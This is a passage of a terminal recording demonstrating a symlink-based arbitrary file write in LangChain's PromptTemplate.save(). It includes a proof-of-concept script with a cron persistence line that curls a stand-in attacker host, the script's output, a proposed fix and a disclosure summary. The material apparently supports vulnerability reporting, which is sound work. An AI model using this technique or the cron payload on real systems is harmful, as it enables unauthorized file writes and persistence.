[264.310399, "o", "\u001b[7mecho \"\"\u001b[27m\r\n\r\u001b[7mecho \"# PART 3: Real-World Attack Scenario\"\u001b[27m\r\n\r\u001b[7mecho \"# ==================================\"\u001b[27m\r\n\r\u001b[7mecho \"\"\u001b[27m\r\n\r\u001b[7mecho \"# An attacker could:\"\u001b[27m\r\n\r\u001b[7mecho \"# 1. Write to cron directories for persistence\"\u001b[27m\r\n\r\u001b[7mecho \"# 2. Modify application configs\"\u001b[27m\r\n\r\u001b[7mecho \"# 3. Poison LangChain's own config files\"\u001b[27m\r\n\r\u001b[7mecho \"# 4. Create malformed JSON causing DoS\"\u001b[27m\r\n\r\n\r\u001b[7mcat << 'EOF' > real_attack.py\u001b[27m\r\n\r\u001b[7mimport os\u001b[27m\r\n\r\u001b[7mimport json\u001b[27m\r\n\r\u001b[7mfrom langchain_core.prompts import PromptTemplate\u001b[27m\r\n\r\n\r\u001b[7mprint(\"Real attack scenario: Writing to cron directory\")\u001b[27m\r\n\r\u001b[7mprint(\"(Simulating - would need root permissions in real attack)\")\u001b[27m\r\n\r\n\r\u001b[7m# Simulate writing a cron job\u001b[27m\r\n\r\u001b[7mcron_content = {\u001b[27m\r\n\r\u001b[7m    \"attack\": \"Cron job injection via LangChain\",\u001b[27m\r\n\r\u001b[7m    \"command\": \"*/5 * * * * curl http://attacker.com/pwn\",\u001b[27m\r\n\r\u001b[7m    \"method\": \"LangChain save() symlink vulnerability\"\u001b[27m\r\n\r\u001b[7m}\u001b[27m\r\n\r\n\r\u001b[7mprompt = PromptTemplate.from_template(json.dumps(cron_content, indent=2))\u001b[27m\r\n\r\n\r\u001b[7m# Try to write to a test location\u001b[27m\r\n\r\u001b[7mtest_cron = \"/tmp/test_cron.json\"\u001b[27m\r\n\r\u001b[7msymlink = \"cron_attack.json\"\u001b[27m\r\n\r\n\r\u001b[7mtry:\u001b[27m\r\n\r\u001b[7m    os.symlink(test_cron, symlink)\u001b[27m\r\n\r\u001b[7m    prompt.save(symlink)\u001b[27m\r\n\r\u001b[7m    \u001b[27m\r\n\r\u001b[7m    if os.path.exists(test_cron):\u001b[27m\r\n\r\u001b[7m        with open(test_cron, 'r') as f:\u001b[27m\r\n\r\u001b[7m            print(f\"✅ Cron payload written: {f.read()[:80]}...\")\u001b[27m\r\n\r\u001b[7m        os.remove(test_cron)\u001b[27m\r\n\r\u001b[7m        \u001b[27m\r\n\r\u001b[7mexcept Exception as e:\u001b[27m\r\n\r\u001b[7m    print(f\"❌ Cron attack simulation: {type(e).__name__}: {e}\")\u001b[27m\r\n\r\u001b[7mfinally:\u001b[27m\r\n\r\u001b[7m    if os.path.exists(symlink):\u001b[27m\r\n\r\u001b[7m        os.remove(symlink)\u001b[27m\r\n\r\n\r\u001b[7mprint(\"\\nThis demonstrates that save() can write ANY .json file ANYWHERE\")\u001b[27m\r\n"]
[264.311906, "o", "\r\u001b[7mprint(\"No allow_dangerous_paths parameter, no path validation!\")\u001b[27m"]
[264.31228, "o", "\r\n\r\u001b[7mEOF\u001b[27m\r\n\r\n\r\u001b[7mpython3 real_attack.py\u001b[27m\r\n\r\u001b[7msleep 3\u001b[27m\r\n\r"]
[264.992616, "o", "\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[Aroot@9b2f0aa2ab26:/# echo \"\"\r\n\recho \"# PART 3: Real-World Attack Scenario\"\r\n\recho \"# ==================================\"\r\n\recho \"\"\r\n\recho \"# An attacker could:\"\r\n\recho \"# 1. Write to cron directories for persistence\"\r\n\recho \"# 2. Modify application configs\"\r\n\recho \"# 3. Poison LangChain's own config files\"\r\n\recho \"# 4. Create malformed JSON causing DoS\"\r\n\r\n\rcat << 'EOF' > real_attack.py\r\n\rimport os\r\n\rimport json\r\n\rfrom langchain_core.prompts import PromptTemplate\r\n\r\n\rprint(\"Real attack scenario: Writing to cron directory\")\r\n\rprint(\"(Simulating - would need root permissions in real attack)\")\r\n\r\n\r# Simulate writing a cron job\r\n\rcron_content = {\r\n\r    \"attack\": \"Cron job injection via LangChain\",\r\n\r    \"command\": \"*/5 * * * * curl http://attacker.com/pwn\",\r\n\r    \"method\": \"LangChain save() symlink vulnerability\"\r\n\r}\r\n\r\n\rprompt = PromptTemplate.from_template(json.dumps(cron_content, indent=2))\r\n\r\n\r# Try to write to a test location\r\n\rtest_cron = \"/tmp/test_cron.json\"\r\n\rsymlink = \"cron_attack.json\"\r\n\r\n\rtry:\r\n\r    os.symlink(test_cron, symlink)\r\n\r    prompt.save(symlink)\r\n\r    \r\n\r    if os.path.exists(test_cron):\r\n\r        with open(test_cron, 'r') as f:\r\n\r            print(f\"✅ Cron payload written: {f.read()[:80]}...\")\r\n\r        os.remove(test_cron)\r\n\r        \r\n\rexcept Exception as e:\r\n\r    print(f\"❌ Cron attack simulation: {type(e).__name__}: {e}\")\r\n\rfinally:\r\n\r    if os.path.exists(symlink):\r\n\r        os.remove(symlink)\r\n\r\n\rprint(\"\\nThis demonstrates that save() can write ANY .json file ANYWHERE\")\r\n\rprint(\"No allow_dangerous_paths parameter, no path validation!\")\r\n\rEOF\r\n\r\n\rpython3 real_attack.py\r\n\rsleep 3\r\n\r\u001b[A\r\n\u001b[?2004l\r\r\n# PART 3: Real-World Attack Scenario\r\n# ==================================\r\n\r\n# An attacker could:\r\n# 1. Write to cron directories for persistence\r\n# 2. Modify application configs\r\n# 3. Poison LangChain's own config files\r\n# 4. Create malformed JSON causing DoS\r\n"]
[265.817734, "o", "Real attack scenario: Writing to cron directory"]
[265.821871, "o", "\r\n(Simulating - would need root permissions in real attack)\r\n"]
[265.824896, "o", "//real_attack.py:23: LangChainDeprecationWarning: The method `BasePromptTemplate.save` was deprecated in langchain-core 1.2.21 and will be removed in 2.0.0. Use `Use `dumpd`/`dumps` from `langchain_core.load` to serialize prompts and `load`/`loads` to deserialize them.` instead.\r\n  prompt.save(symlink)\r\n"]
[265.826358, "o", "✅ Cron payload written: {\r\n    \"name\": null,\r\n    \"input_variables\": [\r\n        \"\\n  \\\"attack\\\"\"\r\n    ],\r\n   ...\r\n\r\nThis demonstrates that save() can write ANY .json file ANYWHERE\r\nNo allow_dangerous_paths parameter, no path validation!\r\n"]
[268.943485, "o", "\u001b[?2004h\u001b]0;root@9b2f0aa2ab26: /\u0007root@9b2f0aa2ab26:/# \u001b[K"]
[269.742984, "o", "\r\n"]
[269.755478, "o", "\u001b[?2004l\r\u001b[?2004h\u001b]0;root@9b2f0aa2ab26: /\u0007root@9b2f0aa2ab26:/# "]
[269.923383, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@9b2f0aa2ab26: /\u0007root@9b2f0aa2ab26:/# "]
[270.426868, "o", "\r\n\u001b[?2004l\r"]
[270.427991, "o", "\u001b[?2004h\u001b]0;root@9b2f0aa2ab26: /\u0007root@9b2f0aa2ab26:/# "]
[270.452976, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@9b2f0aa2ab26: /\u0007root@9b2f0aa2ab26:/# "]
[270.485527, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@9b2f0aa2ab26: /\u0007root@9b2f0aa2ab26:/# "]
[270.518641, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@9b2f0aa2ab26: /\u0007root@9b2f0aa2ab26:/# "]
[274.247528, "o", "echo \"\"\r\n\recho \"# PART 4: What's Missing in save()\"\r\n\recho \"# =================================\"\r\n\recho \"\"\r\n\recho \"# Let's look at what save() SHOULD have but doesn't:\"\r\n\r\n\rcat << 'EOF' > show_missing.py\r\n\rimport inspect\r\n\r\u001b[7mfrom langchain_core.prompts import PromptTemplate\u001b[27m\r\n\r\n\r\u001b[7mprint(\"Comparing save() vs load_prompt_from_config():\\n\")\u001b[27m\r\n\r\n\r\u001b[7m# Get signatures\u001b[27m\r\n\r\u001b[7mtry:\u001b[27m\r\n\r\u001b[7m    sig_save = inspect.signature(PromptTemplate.save)\u001b[27m\r\n\r\u001b[7m    print(\"save() signature:\")\u001b[27m\r\n\r\u001b[7m    print(f\"  {sig_save}\")\u001b[27m\r\n\r\u001b[7m    print(f\"  Parameters: {list(sig_save.parameters.keys())}\")\u001b[27m\r\n\r\u001b[7m    print(f\"  Missing: allow_dangerous_paths parameter\")\u001b[27m\r\n\r\u001b[7m    print(f\"  Missing: Path.resolve() call\")\u001b[27m\r\n\r\u001b[7m    print(f\"  Missing: _validate_path() call\")\u001b[27m\r\n\r\u001b[7mexcept Exception as e:\u001b[27m\r\n\r\u001b[7m    print(f\"Error getting save signature: {e}\")\u001b[27m\r\n\r\n\r\u001b[7mprint(\"\\n\\nWhat save() SHOULD look like:\")\u001b[27m\r\n\r\u001b[7mprint(\"\"\"\u001b[27m\r\n\r\u001b[7mdef save(self, file_path: Path | str, *, allow_dangerous_paths: bool = False):\u001b[27m\r\n\r\u001b[7m    path = Path(file_path)\u001b[27m\r\n\r\u001b[7m    if not allow_dangerous_paths:\u001b[27m\r\n\r\u001b[7m        _validate_path(path)  # ← MISSING\u001b[27m\r\n\r\u001b[7m    resolved_path = path.resolve()  # ← MISSING\u001b[27m\r\n\r\u001b[7m    \u001b[27m\r\n\r\u001b[7m    if resolved_path.suffix not in (\".json\", \".yaml\", \".yml\"):\u001b[27m\r\n\r\u001b[7m        raise ValueError(\u001b[27m\r\n\r\u001b[7m            f\"File {resolved_path} must have .json, .yaml, or .yml extension. \"\u001b[27m\r\n\r\u001b[7m            f\"Set allow_dangerous_paths=True if you trust this file.\"\u001b[27m\r\n\r\u001b[7m        )\u001b[27m\r\n\r\u001b[7m    \u001b[27m\r\n\r\u001b[7m    # ... existing save logic\u001b[27m\r\n\r\u001b[7m\"\"\")\u001b[27m\r\n\r\n\r\u001b[7mprint(\"\\nBut instead it's just:\")\u001b[27m\r\n\r\u001b[7mprint(\"\"\"\u001b[27m\r\n\r\u001b[7mdef save(self, file_path: Path | str):\u001b[27m\r\n\r\u001b[7m    path = Path(file_path)\u001b[27m\r\n\r\u001b[7m    # ← NO VALIDATION!\u001b[27m\r\n\r\u001b[7m    # ← NO SYMLINK RESOLUTION!\u001b[27m\r\n\r\u001b[7m    # ← NO allow_dangerous_paths!\u001b[27m\r\n\r\u001b[7m    \u001b[27m\r\n\r\u001b[7m    with path.open(\"w\", encoding=\"utf-8\") as f:\u001b[27m\r\n\r\u001b[7m        if path.suffix == \".json\":\u001b[27m\r\n\r\u001b[7m            json.dump(prompt_dict, f, indent=4)\u001b[27m\r\n"]
[274.248343, "o", "\r\u001b[7m        elif path.suffix.endswith((\".yaml\", \".yml\")):\u001b[27m\r\n\r\u001b[7m            yaml.dump(prompt_dict, f, default_flow_style=False)\u001b[27m\r\n\r\u001b[7m        else:\u001b[27m\r\u001b[7m            raise ValueError(f\"{path} must be json or yaml\")\u001b[27m\r\u001b[7m\"\"\")\u001b[27m\r\u001b[7mEOF\u001b[27m\r\u001b[7mpython3 show_missing.py\u001b[27m\r\u001b[7msleep 3\u001b[27m\r"]
[274.694241, "o", "\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[Afrom langchain_core.prompts import PromptTemplate\r\n\r\n\rprint(\"Comparing save() vs load_prompt_from_config():\\n\")\r\n\r\n\r# Get signatures\r\n\rtry:\r\n\r    sig_save = inspect.signature(PromptTemplate.save)\r\n\r    print(\"save() signature:\")\r\n\r    print(f\"  {sig_save}\")\r\n\r    print(f\"  Parameters: {list(sig_save.parameters.keys())}\")\r\n\r    print(f\"  Missing: allow_dangerous_paths parameter\")\r\n\r    print(f\"  Missing: Path.resolve() call\")\r\n\r    print(f\"  Missing: _validate_path() call\")\r\n\rexcept Exception as e:\r\n\r    print(f\"Error getting save signature: {e}\")\r\n\r\n\rprint(\"\\n\\nWhat save() SHOULD look like:\")\r\n\rprint(\"\"\"\r\n\rdef save(self, file_path: Path | str, *, allow_dangerous_paths: bool = False):\r\n\r    path = Path(file_path)\r\n\r    if not allow_dangerous_paths:\r\n\r        _validate_path(path)  # ← MISSING\r\n\r    resolved_path = path.resolve()  # ← MISSING\r\n\r    \r\n\r    if resolved_path.suffix not in (\".json\", \".yaml\", \".yml\"):\r\n\r        raise ValueError(\r\n\r            f\"File {resolved_path} must have .json, .yaml, or .yml extension. \"\r\n\r            f\"Set allow_dangerous_paths=True if you trust this file.\"\r\n\r        )\r\n\r    \r\n\r    # ... existing save logic\r\n\r\"\"\")\r\n\r\n\rprint(\"\\nBut instead it's just:\")\r\n\rprint(\"\"\"\r\n\rdef save(self, file_path: Path | str):\r\n\r    path = Path(file_path)\r\n\r    # ← NO VALIDATION!\r\n\r    # ← NO SYMLINK RESOLUTION!\r\n\r    # ← NO allow_dangerous_paths!\r\n\r    \r\n\r    with path.open(\"w\", encoding=\"utf-8\") as f:\r\n\r        if path.suffix == \".json\":\r\n\r            json.dump(prompt_dict, f, indent=4)\r\n\r        elif path.suffix.endswith((\".yaml\", \".yml\")):\r\n\r            yaml.dump(prompt_dict, f, default_flow_style=False)\r\n\r        else:\r            raise ValueError(f\"{path} must be json or yaml\")\r\"\"\")\rEOF\rpython3 show_missing.py\rsleep 3\r\r\n\u001b[?2004l\r\r\n# PART 4: What's Missing in save()\r\n# =================================\r\n\r\n# Let's look at what save() SHOULD have but doesn't:\r\n"]
[275.528875, "o", "Comparing save() vs load_prompt_from_config():\r\n\r\nsave() signature:\r\n  (self, file_path: 'Path | str') -> 'None'\r\n  Parameters: ['self', 'file_path']\r\n  Missing: allow_dangerous_paths parameter\r\n  Missing: Path.resolve() call\r\n  Missing: _validate_path() call\r\n\r\n\r\nWhat save() SHOULD look like:\r\n\r\ndef save(self, file_path: Path | str, *, allow_dangerous_paths: bool = False):\r\n    path = Path(file_path)\r\n"]
[275.530634, "o", "    if not allow_dangerous_paths:\r\n        _validate_path(path)  # ← MISSING\r\n    resolved_path = path.resolve()  # ← MISSING\r\n    \r\n    if resolved_path.suffix not in (\".json\", \".yaml\", \".yml\"):\r\n        raise ValueError(\r\n            f\"File {resolved_path} must have .json, .yaml, or .yml extension. \"\r\n            f\"Set allow_dangerous_paths=True if you trust this file.\"\r\n        )\r\n    \r\n    # ... existing save logic\r\n\r\n\r\nBut instead it's just:\r\n\r\ndef save(self, file_path: Path | str):\r\n    path = Path(file_path)\r\n    # ← NO VALIDATION!\r\n    # ← NO SYMLINK RESOLUTION!\r\n    # ← NO allow_dangerous_paths!\r\n    \r\n    with path.open(\"w\", encoding=\"utf-8\") as f:\r\n        if path.suffix == \".json\":\r\n            json.dump(prompt_dict, f, indent=4)\r\n        elif path.suffix.endswith((\".yaml\", \".yml\")):\r\n            yaml.dump(prompt_dict, f, default_flow_style=False)\r\n        else:\r\n            raise ValueError(f\"{path} must be json or yaml\")\r\n\r\n"]
[278.54522, "o", "\u001b[?2004h\u001b]0;root@9b2f0aa2ab26: /\u0007root@9b2f0aa2ab26:/# \u001b[K"]
[279.389403, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@9b2f0aa2ab26: /\u0007root@9b2f0aa2ab26:/# "]
[279.670674, "o", "\r\n\u001b[?2004l\r"]
[279.672053, "o", "\u001b[?2004h\u001b]0;root@9b2f0aa2ab26: /\u0007root@9b2f0aa2ab26:/# "]
[279.829448, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@9b2f0aa2ab26: /\u0007root@9b2f0aa2ab26:/# "]
[283.311458, "o", "\u001b[7mecho \"\"\u001b[27m\r\n\r\u001b[7mecho \"# PART 5: Summary & Impact\"\u001b[27m\r\n\r\u001b[7mecho \"# ========================\"\u001b[27m\r\n\r\u001b[7mecho \"\"\u001b[27m\r\n\r\u001b[7mecho \"# SUMMARY:\"\u001b[27m\r\n\r\u001b[7mecho \"# ✅ load_prompt_from_config() - PARTIALLY FIXED (needs allow_dangerous_paths=True)\"\u001b[27m\r\n\r\u001b[7mecho \"# ❌ save() - STILL VULNERABLE (no protections at all)\"\u001b[27m\r\n\r\u001b[7mecho \"\"\u001b[27m\r\n\r\u001b[7mecho \"# IMPACT:\"\u001b[27m\r\n\r\u001b[7mecho \"# 1. Attackers can write ANY .json/.yaml file ANYWHERE\"\u001b[27m\r\n\r\u001b[7mecho \"# 2. Scope Change still possible (library modification)\"\u001b[27m\r\n\r\u001b[7mecho \"# 3. No path validation or symlink resolution\"\u001b[27m\r\n\r\u001b[7mecho \"# 4. CVSS 10.0 still applies for WRITE attacks\"\u001b[27m\r\n\r\u001b[7mecho \"\"\u001b[27m\r\n\r\u001b[7mecho \"# RECOMMENDATION:\"\u001b[27m\r\n\r\u001b[7mecho \"# 1. Apply same fixes to save()\"\u001b[27m\r\n\r\u001b[7mecho \"# 2. Issue Security Advisory\"\u001b[27m\r\n\r\u001b[7mecho \"# 3. Assign CVE for incomplete fix\"\u001b[27m\r\n"]
[283.312278, "o", "\r\u001b[7mecho \"\"\u001b[27m"]
[283.313961, "o", "\r\n\r\u001b[7mecho \"====================================================================================\"\u001b[27m\r\n\r\u001b[7mecho \"                         Demonstration Complete\"\u001b[27m\r\n\r\u001b[7mecho \"====================================================================================\"\u001b[27m\r\n\r"]
[283.726671, "o", "\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[Aroot@9b2f0aa2ab26:/# echo \"\"\r\n\recho \"# PART 5: Summary & Impact\"\r\n\recho \"# ========================\"\r\n\recho \"\"\r\n\recho \"# SUMMARY:\"\r\n\recho \"# ✅ load_prompt_from_config() - PARTIALLY FIXED (needs allow_dangerous_paths=True)\"\r\n\recho \"# ❌ save() - STILL VULNERABLE (no protections at all)\"\r\n"]
[283.730114, "o", "\recho \"\"\r\n\recho \"# IMPACT:\"\r\n\recho \"# 1. Attackers can write ANY .json/.yaml file ANYWHERE\"\r\n\recho \"# 2. Scope Change still possible (library modification)\"\r\n\recho \"# 3. No path validation or symlink resolution\"\r\n\recho \"# 4. CVSS 10.0 still applies for WRITE attacks\"\r\n\recho \"\"\r\n\recho \"# RECOMMENDATION:\"\r\n\recho \"# 1. Apply same fixes to save()\"\r\n\recho \"# 2. Issue Security Advisory\"\r\n\recho \"# 3. Assign CVE for incomplete fix\"\r\n\recho \"\"\r\n\recho \"====================================================================================\"\r\n\recho \"                         Demonstration Complete\"\r\n\recho \"====================================================================================\"\r\n\r\u001b[A\r\n\u001b[?2004l\r\r\n# PART 5: Summary & Impact\r\n# ========================\r\n\r\n# SUMMARY:\r\n# ✅ load_prompt_from_config() - PARTIALLY FIXED (needs allow_dangerous_paths=True)\r\n# ❌ save() - STILL VULNERABLE (no protections at all)\r\n\r\n# IMPACT:\r\n# 1. Attackers can write ANY .json/.yaml file ANYWHERE\r\n# 2. Scope Change still possible (library modification)\r\n# 3. No path validation or symlink resolution\r\n# 4. CVSS 10.0 still applies for WRITE attacks\r\n\r\n# RECOMMENDATION:\r\n# 1. Apply same fixes to save()\r\n# 2. Issue Security Advisory\r\n# 3. Assign CVE for incomplete fix\r\n\r\n====================================================================================\r\n                         Demonstration Complete\r\n====================================================================================\r\n\u001b[?2004h\u001b]0;root@9b2f0aa2ab26: /\u0007root@9b2f0aa2ab26:/# \u001b[K"]
[288.825106, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@9b2f0aa2ab26: /\u0007root@9b2f0aa2ab26:/# "]
[289.19217, "o", "\r\n\u001b[?2004l\r"]
[289.192817, "o", "\u001b[?2004h\u001b]0;root@9b2f0aa2ab26: /\u0007root@9b2f0aa2ab26:/# "]
[289.363362, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@9b2f0aa2ab26: /\u0007root@9b2f0aa2ab26:/# "]
[289.543432, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;root@9b2f0aa2ab26: /\u0007root@9b2f0aa2ab26:/# "]
[289.766875, "o", "\r\n\u001b[?2004l\r"]
[289.768436, "o", "\u001b[?2004h\u001b]0;root@9b2f0aa2ab26: /\u0007root@9b2f0aa2ab26:/# "]
[295.07186, "o", "\u001b[7mecho \"\"\u001b[27m\r\n\r\u001b[7mecho \"# Cleaning up test files...\"\u001b[27m\r\n\r\u001b[7mrm -f test_read.py test_write.py real_attack.py show_missing.py\u001b[27m\r\n\r\u001b[7mecho \"# Done!\"\u001b[27m\r\n\r\u001b[7mexit\u001b[27m\r\n\r"]
[295.712284, "o", "\u001b[A\u001b[A\u001b[A\u001b[A\u001b[Aroot@9b2f0aa2ab26:/# echo \"\"\r\n\recho \"# Cleaning up test files...\"\r\n\rrm -f test_read.py test_write.py real_attack.py show_missing.py\r\n\recho \"# Done!\"\r\n\rexit\r\n\r\u001b[A\r\n\u001b[?2004l\r\r\n# Cleaning up test files...\r\n"]
[295.724985, "o", "# Done!\r\nexit\r\n"]
[296.427187, "o", "\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~\u0007vboxuser@Ubuntu-Server:~$ "]
[299.296988, "o", "\u001b[?2004l\r\r\nexit\r\n"]
